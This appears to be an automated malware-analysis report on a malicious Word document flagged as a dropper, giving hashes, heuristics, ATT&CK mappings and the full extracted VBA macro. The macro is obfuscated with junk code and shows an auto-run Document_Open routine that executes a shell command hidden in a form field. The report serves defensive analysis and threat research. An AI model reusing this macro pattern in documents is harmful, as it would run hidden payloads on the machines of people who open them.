Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1bb948ea6a642404…

MALICIOUS

Office (OOXML)

94.8 KB Created: 2019-02-27 13:17:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-03-10
MD5: 17160cfc8b8c0401f0d2063a615fb133 SHA-1: baba76bfcc698be2fd98574ba2bdcf894a9c3c16 SHA-256: 1bb948ea6a642404c81eff109bd3bf4de8d17371bd084d3636e5638345cc5020
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing a VBA macro. The Document_Open macro is configured to execute a shell command, likely to download and execute a second-stage payload. ClamAV detection further confirms its malicious nature as a dropper.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6877520-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6877520-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2591 bytes
SHA-256: 5674ecf95e9d1d081f3c9e558e5c195bab07d9c54fbf71d4ac9ef3727aaa0e35
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim hWM9F
hWM9F = Len(T8reIwgtK)
Dim qwlZbvML As Boolean
qwlZbvML = True


Dim IIvaskbro As Boolean
IIvaskbro = True
Dim Oupgkt9 As Long
Oupgkt9 = Sgn(0)
Dim v7AoLk As Single
v7AoLk = Sgn(34471.079452036)
Call z
End Sub

Attribute VB_Name = "uhrzCcUy6"
Sub oOAq5()
Dim ztSIyAV As Integer
ztSIyAV = -17243
Dim tfZmY As Long
tfZmY = -1213324802
End Sub
Public Sub z()
Dim j9f5ps4h As Boolean
j9f5ps4h = False
hYJkZi = 504 * 1
jmSVJr = 1641 - 1633
If hYJkZi = jmSVJr Then
gr7i04C = "Svmkj"
End If
Dim giDTcMH1 As Byte
giDTcMH1 = 143
Dim Iep6DCtLb As Double
Iep6DCtLb = 35577.452523117
Dim yaWigt As Double
yaWigt = Sgn(23499.373462573)
Dim vdgHF As Double
vdgHF = 60112.24122953
Dim APpMv As Boolean
APpMv = True
Dim H7NPWQ5I As Double
H7NPWQ5I = Val(34435.171063437)
Dim hmzgi As Integer
hmzgi = 12672
kC6ZdQxkm = VBA.Shell(BbcornAY1, 0)
Dim TSE8tj As Long
TSE8tj = Sgn(-455579252)
Dim EBLb4uJR As Double
EBLb4uJR = Sgn(24103.872830421)
End Sub

Attribute VB_Name = "e0cLyn1"
Sub LQE0b()
Dim uNA8g As String
uNA8g = Val("O")
Dim Hf8gTm As Double
Hf8gTm = Sgn(32287.49915591)
End Sub
Sub h9NKE4VAa()
End Sub
Sub nSaT3()
End Sub

Attribute VB_Name = "kei2b1q"
Sub pviF1PSG()
End Sub
Sub GRWBO8jGA()
End Sub
Public Function BbcornAY1()
Dim SFt9X2 As Byte
SFt9X2 = 110
Dim qRf0FzDa7 As String
qRf0FzDa7 = AscB("O")
Dim VEkaX As Object
Set VEkaX = New fm
Mer8CN = Mid("onawoJKOSwVMik5rdqlIdvcBA", 19797 / 19797, -1594 + 1602)
Dim qlfEq12s7 As Byte
qlfEq12s7 = 255
Dim tBkNXcTz As Boolean
tBkNXcTz = True
Dim tTg2RfS7r As Boolean
tTg2RfS7r = False
Dim GtxRvs As Single
GtxRvs = Sgn(52690.591182319)
Dim PqQ6DsXo As Integer
PqQ6DsXo = 13167
Dim fM6JnYe7b As Single
fM6JnYe7b = 10116.591649224
Dim xDhyxM As Single
xDhyxM = 19719.600102576
Dim bRcp5S As Byte
bRcp5S = 164
Dim UrwjLJ As Single
UrwjLJ = 32733.015502233
BbcornAY1 = VEkaX.mynewtxt.Text
End Function

Attribute VB_Name = "fm"
Attribute VB_Base = "0{B96A2C6A-3D92-4D08-834C-CF979FDD3EBE}{5CC34DDC-3BE1-462D-B50A-2565FD855EFC}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 24064 bytes
SHA-256: 192a5dd05875e016e0c5ffd9ead16c264a842d325a7264eb9c42369a7252347c
Detection
ClamAV: Doc.Dropper.Agent-6877520-0
Obfuscation or payload: unlikely